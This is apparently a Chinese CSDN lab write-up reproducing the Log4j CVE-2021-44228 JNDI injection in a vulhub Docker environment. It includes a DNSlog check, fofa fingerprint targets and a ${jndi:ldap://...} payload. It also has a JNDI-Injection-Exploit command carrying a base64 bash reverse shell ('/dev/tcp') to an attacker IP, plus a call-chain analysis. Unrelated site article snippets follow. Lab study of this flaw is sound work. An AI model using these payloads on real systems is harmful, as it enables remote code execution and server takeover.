Log4j远程代码执行漏洞环境搭建及复现_apache log4j漏洞环境搭建和复现-程序员宅基地

技术标签: java  log4j  

一、漏洞说明

影响范围

Apache Log4j 2.x<=2.14.1

简介

Log4j2 是一个用于 Java 应用程序的成熟且功能强大的日志记录框架。它是 Log4j 的升级版本,相比于 Log4j,Log4j2 在性能、可靠性和灵活性方面都有显著的改进。

特点

Log4j2 是一个功能强大且灵活的日志记录框架,旨在提供高性能的日志记录解决方案。它被广泛用于各种 Java 应用程序和框架中,帮助开发人员更好地管理和分析应用程序的日志信息。

原理

攻击者构造payload,在JNDI接口lookup查询进行注入,payload为${jndi:ldap:恶意url/poc},JNDI会去对应的服务(如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap)查找资源,由于lookup的出栈没做限制,最终指向了攻击者部署好的恶意站点,下载了远程的恶意class,最终造成了远程代码执行rce;

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码);

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。


二、环境搭建

这次复现的漏洞就是最经典的CVE-2021-44228
1、安装docker(含换源)
编辑软件源配置文件

将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可

apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包

apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git

4、启动log4j环境(CVE-2021-44228)
cd /opt/vulhub-master/log4j/CVE-2021-44228
docker-compose up
即可启动

三、漏洞复现

利用DNSlog验证漏洞是否存在
靶场启动成功后
浏览器访问youkrm ip:port(默认端口:8983)进入站点

进入dnslog.cn
    1、进入站点
    2、获取域名
    3、刷新记录
    4、数据回显

进入靶场站点进行抓包

四、漏洞利用


指纹搜索
fofa.info
搜索如下关键字框架系统等

1. Apache Tomcat - Java Web 服务器
    
2. Apache Kafka - 分布式流处理平台
    
3. Apache ActiveMQ - 开源消息队列系统
    
4. Elasticsearch - 分布式搜索和分析引擎
    
5. Spring Framework - Java 开发框架
    
6. Hibernate ORM - 对象关系映射框架
    
7. Apache Camel - 企业集成模式框架
    
8. Apache Solr - 开源搜索平台
    
9. Apache Druid - 实时分析数据库
    
10. Apache NiFi - 数据流处理系统
    
11. Apache Flink - 分布式流处理框架
    
12. Apache Hadoop - 分布式计算框架
    
13. Apache Spark - 分布式大数据处理框架
    
14. Apache Storm - 实时流处理框架
    
15. Alfresco - 开源企业内容管理系统
    
16. Atlassian JIRA - 项目管理和缺陷追踪工具
    
17. Jenkins - 持续集成和交付平台
    
18. SonarQube - 代码质量管理平台
    
19. Liferay - 企业门户和内容管理系统
    
20. Graylog - 日志管理和分析平台

漏洞利用点

package log4j2Exploit;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class run {
    private static final Logger logger = LogManager.getLogger(run.class);
    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:3890/test}");
    }
}

JNDI是什么?
JNDI(Java Naming and Directory Interface)是Java平台提供的一个标准API,用于访问各种命名和目录服务。JNDI提供统一的客户端API,使得Java应用程序可以与命名服务和目录服务进行交互;
具体来说,JNDI提供了一种查找和访问各种命名和目录服务的通用、统一的方式,无论这些服务是本地的还是远程的。
LDAP是什么?
LDAP(轻型目录访问协议)是一种开放的、中立的、工业标准的应用协议,通过IP协议提供访问控制和维护分布式信息的目录信息。它运行在TCP/IP堆栈之上,是一种目录服务协议。LDAP以树结构标识,不能像表格一样用SQL语句查询,它“读”性能很强,但“写”性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
RMI是什么?
RMI(远程方法调用)是Java的一组支持开发分布式应用程序的API。RMI使用Java语言接口定义了远程对象,它集合了Java序列化和Java远程方法协议。

我选择使用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
利用工具JNDI-Injection-Exploit搭建服务:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "" -A (攻击机IP)

我们所要实施的命令为反弹shell
所以如下:

bash -i >& /dev/tcp/ip/port 0>&1

注意:这里的命令必须进行base64编码,不然是没法利用的
所以先将反弹shell的命令进行base64编码(利用bp自带的编解码工具)

然后在攻击机上再开始监听此端口

利用JNDI注入工具生成可用payload

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,Ymxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}|{base64,-d}|{bash,-i}" -A 192.168.xx.xxx


使用bp进行抓包,将工具生成的payload替换到语句中
替换payload  ladp://192.168.xx.xx:1389/pakyuj

替换后并进行转换payload中的特殊字符为URL编码

编码完后并进行发包
发完之后,反弹shell可以看见已经监听成功,也可以看到我们的JNDI利用工具会有回显

五、利用链调用过程

利用链流程图

利用链流程
跟进logger.error()→logIfEnabled()→isEnabled()→filter() 中判断了当前调用的日志等级是否高于等于配置文件中配置的。(intLevel的值是日志等级越高,值就越小)

判断完成后回到`logIfEnabled()`
再进入`logMessage()→...→tryLogMessage()→log()...->tryAppend()→directEncodeEvent()`
直到`directEncodeEvent()`函数之前,都是读取配置文件创建event事件等操作。

`this.getLayout()` 获取配置文件里设置的输出格式,并调用encode()处理event。
紧接着调用了toText方法来用不同Converter处理传入的数据,并将结果存入buffer中。

这里解释一下这10个converter对象是干什么的:
如第一个`DatePatternConverter` 就是用来根据event对象中的`%d{yyyy-MM-dd HH:mm:ss.SSS}`(也就是从配置文件中设置的) 转换成按照此格式的时间表示,并将值存在buffer中。所以同理,后面所有的converter就是按照配置文件中设置的输出格式转换为对应的值,并将结果添加到buffer中。

输入`${jndi:ldap://127.0.0.1:3890/test}`对应的是`%msg`,处理的converter是`MessagePatternConverter`,也就是i=8,跟进它的format()。

首先通过`event.getMessage()`获取到Message对象。再重新创建一个StringBuilder对象`workingBuilder`,将之前coverter格式化好的部分赋值给`workingBuilder`,并添加msg对应的字符串给此对象;
然后从之前coverter格式化好的字符串末尾开始,遍历之后的`workingBuilder`字符串,直到找到`${` 起始的位置。找到后将`${`到整个字符串末尾的值复制给value,并将`workingBuilder`的长度设置为之前未拼接msg的长度,并重新添加`this.config.getStrSubstitutor().replace(event, value)` 的值到`workingBuilder`;
这段操作意思: 如果msg中存在`${`字符串,取出msg值后,就将整个msg字符串从`workingBuilder`中替换掉;
然后跟入replace函数。

这里主要是对传入的msg字符串进行处理,循环查找以`${`字符串开头和以`}`字符串结束的位置,获取两者之间字符串,即`jndi:ldap://127.0.0.1:3890/test`。(同时还会递归判断这个字符串中是否还有`${`与`}`)
最后进入`resolveVariable()` 方法。支持的Interpolator类型。

通过 var.indexOf(58)获取`:`号的索引位置,得到Interpolator前缀。再根据对应的前缀调用lookup方法。
进入到log4j的JndiLookup类的lookup方法中,通过jndi调用lookup
lookup():
lookup函数用于根据名称查找资源。例如,你可以使用JNDI来查找和访问数据库、消息队列或其他资源。通过使用JNDI,你可以把资源的名字和在哪里找到它们的详细信息告诉JNDI,然后使用lookup函数来查找和访问这些资源

六、参考文章

https://blog.csdn.net/qq_41132792/article/details/124952616
https://blog.csdn.net/fingue/article/details/127096363
https://blog.csdn.net/weixin_47179815/article/details/125654828\
https://myzxcg.com/2022/01/Log4j2-%E5%88%A9%E7%94%A8%E9%93%BE%E4%B8%8EWaf%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://cloud.tencent.com/developer/article/1922132
https://www.freebuf.com/vuls/382838.html


 

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/m0_71263989/article/details/136197781

智能推荐

c# 调用c++ lib静态库_c#调用lib-程序员宅基地

文章浏览阅读2w次,点赞7次,收藏51次。四个步骤1.创建C++ Win32项目动态库dll 2.在Win32项目动态库中添加 外部依赖项 lib头文件和lib库3.导出C接口4.c#调用c++动态库开始你的表演...①创建一个空白的解决方案,在解决方案中添加 Visual C++ , Win32 项目空白解决方案的创建:添加Visual C++ , Win32 项目这......_c#调用lib

deepin/ubuntu安装苹方字体-程序员宅基地

文章浏览阅读4.6k次。苹方字体是苹果系统上的黑体,挺好看的。注重颜值的网站都会使用,例如知乎:font-family: -apple-system, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Microsoft YaHei, Source Han Sans SC, Noto Sans CJK SC, W..._ubuntu pingfang

html表单常见操作汇总_html表单的处理程序有那些-程序员宅基地

文章浏览阅读159次。表单表单概述表单标签表单域按钮控件demo表单标签表单标签基本语法结构<form action="处理数据程序的url地址“ method=”get|post“ name="表单名称”></form><!--action,当提交表单时,向何处发送表单中的数据,地址可以是相对地址也可以是绝对地址--><!--method将表单中的数据传送给服务器处理,get方式直接显示在url地址中,数据可以被缓存,且长度有限制;而post方式数据隐藏传输,_html表单的处理程序有那些

PHP设置谷歌验证器(Google Authenticator)实现操作二步验证_php otp 验证器-程序员宅基地

文章浏览阅读1.2k次。使用说明:开启Google的登陆二步验证(即Google Authenticator服务)后用户登陆时需要输入额外由手机客户端生成的一次性密码。实现Google Authenticator功能需要服务器端和客户端的支持。服务器端负责密钥的生成、验证一次性密码是否正确。客户端记录密钥后生成一次性密码。下载谷歌验证类库文件放到项目合适位置(我这边放在项目Vender下面)https://github.com/PHPGangsta/GoogleAuthenticatorPHP代码示例://引入谷_php otp 验证器

【Python】matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距-程序员宅基地

文章浏览阅读4.3k次,点赞5次,收藏11次。matplotlib.plot画图横坐标混乱及间隔处理_matplotlib更改横轴间距

docker — 容器存储_docker 保存容器-程序员宅基地

文章浏览阅读2.2k次。①Storage driver 处理各镜像层及容器层的处理细节,实现了多层数据的堆叠,为用户 提供了多层数据合并后的统一视图②所有 Storage driver 都使用可堆叠图像层和写时复制(CoW)策略③docker info 命令可查看当系统上的 storage driver主要用于测试目的,不建议用于生成环境。_docker 保存容器

随便推点

网络拓扑结构_网络拓扑csdn-程序员宅基地

文章浏览阅读834次,点赞27次,收藏13次。网络拓扑结构是指计算机网络中各组件(如计算机、服务器、打印机、路由器、交换机等设备)及其连接线路在物理布局或逻辑构型上的排列形式。这种布局不仅描述了设备间的实际物理连接方式,也决定了数据在网络中流动的路径和方式。不同的网络拓扑结构影响着网络的性能、可靠性、可扩展性及管理维护的难易程度。_网络拓扑csdn

JS重写Date函数,兼容IOS系统_date.prototype 将所有 ios-程序员宅基地

文章浏览阅读1.8k次,点赞5次,收藏8次。IOS系统Date的坑要创建一个指定时间的new Date对象时,通常的做法是:new Date("2020-09-21 11:11:00")这行代码在 PC 端和安卓端都是正常的,而在 iOS 端则会提示 Invalid Date 无效日期。在IOS年月日中间的横岗许换成斜杠,也就是new Date("2020/09/21 11:11:00")通常为了兼容IOS的这个坑,需要做一些额外的特殊处理,笔者在开发的时候经常会忘了兼容IOS系统。所以就想试着重写Date函数,一劳永逸,避免每次ne_date.prototype 将所有 ios

如何将EXCEL表导入plsql数据库中-程序员宅基地

文章浏览阅读5.3k次。方法一:用PLSQL Developer工具。 1 在PLSQL Developer的sql window里输入select * from test for update; 2 按F8执行 3 打开锁, 再按一下加号. 鼠标点到第一列的列头,使全列成选中状态,然后粘贴,最后commit提交即可。(前提..._excel导入pl/sql

Git常用命令速查手册-程序员宅基地

文章浏览阅读83次。Git常用命令速查手册1、初始化仓库git init2、将文件添加到仓库git add 文件名 # 将工作区的某个文件添加到暂存区 git add -u # 添加所有被tracked文件中被修改或删除的文件信息到暂存区,不处理untracked的文件git add -A # 添加所有被tracked文件中被修改或删除的文件信息到暂存区,包括untracked的文件...

分享119个ASP.NET源码总有一个是你想要的_千博二手车源码v2023 build 1120-程序员宅基地

文章浏览阅读202次。分享119个ASP.NET源码总有一个是你想要的_千博二手车源码v2023 build 1120

【C++缺省函数】 空类默认产生的6个类成员函数_空类默认产生哪些类成员函数-程序员宅基地

文章浏览阅读1.8k次。版权声明:转载请注明出处 http://blog.csdn.net/irean_lau。目录(?)[+]1、缺省构造函数。2、缺省拷贝构造函数。3、 缺省析构函数。4、缺省赋值运算符。5、缺省取址运算符。6、 缺省取址运算符 const。[cpp] view plain copy_空类默认产生哪些类成员函数

推荐文章

热门文章

相关标签